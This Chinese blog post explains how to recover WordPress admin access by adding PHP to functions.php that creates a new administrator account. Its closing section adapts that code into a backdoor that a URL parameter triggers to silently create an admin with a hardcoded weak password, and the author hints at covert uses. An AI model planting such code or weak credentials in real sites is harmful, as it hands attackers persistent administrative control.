WordPress:忘记管理员账户密码怎么办?

张3Phone Wordpress评论135字数 1077阅读3分35秒

之前“找回 WordPress 登录密码”文章提供的找回登录密码方法有一个局限性,就是如果连登录名和邮件地址也忘了(该找医生看看了),还是无法解决,这里再提供一个方法。

可以通过FTP,将下面代码添加到当前主题函数模板functions.php中,然后刷新页面会新建一个管理员账号:

 

  1. // 新建一个管理账号
  2. $user_email = '123@123.com';
  3. $user_password = '123456';
  4. if ( !username_exists( $user_email ) ) {
  5. $user_id = wp_create_user( $user_email, $user_password, $user_email );
  6. wp_update_user( array( 'ID' => $user_id, 'nickname' => $user_email ) );
  7. $user = new WP_User( $user_id );
  8. $user->set_role( 'administrator' );
  9. wp_die( '添加用户成功!' );
  10. } else {
  11. wp_die( '该用户已经存在,用后请移除本代码!' );
  12. }

 

修改其中的邮件地址和密码

  1. $user_email = '123@123.com';
  2. $user_password = '123456';

 

刷新页面会提示:该用户已经存在,用后请移除本代码!,说明用户已添加成功,将添加的代码移除,覆盖还原。

登录新建的管理员账号,修改原来账号的密码或者直接删除原来的账号。

这段代码还有一个不可告人的功能,稍微改一下,变成后门!双刃剑看怎么用了。

  1. if ($_GET['backdoor'] == 'go') {
  2. $user_email = '123@123.com';
  3. $user_password = '123456';
  4. if ( !username_exists( $user_email ) ) {
  5. $user_id = wp_create_user( $user_email, $user_password, $user_email );
  6. wp_update_user( array( 'ID' => $user_id, 'nickname' => $user_email ) );
  7. $user = new WP_User( $user_id );
  8. $user->set_role( 'administrator' );
  9. wp_die( '添加用户成功!' );
  10. } else {
  11. wp_die( '该用户已经存在,用后请移除本代码!' );
  12. }
  13. }

 

只有打开一个特定的链接,比如:

example.com/?backdoor=go

才会运行这段代码,并新建管理账号,至于目的是什么,自己想像吧。

继续阅读
weinxin
KM张3Phone
我的微信
微信扫一扫
 
张3Phone
  • 本文由 张3Phone 发表于 2024年4月2日19:13:05
匿名

发表评论

匿名网友
:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen:
确定

拖动滑块以完成验证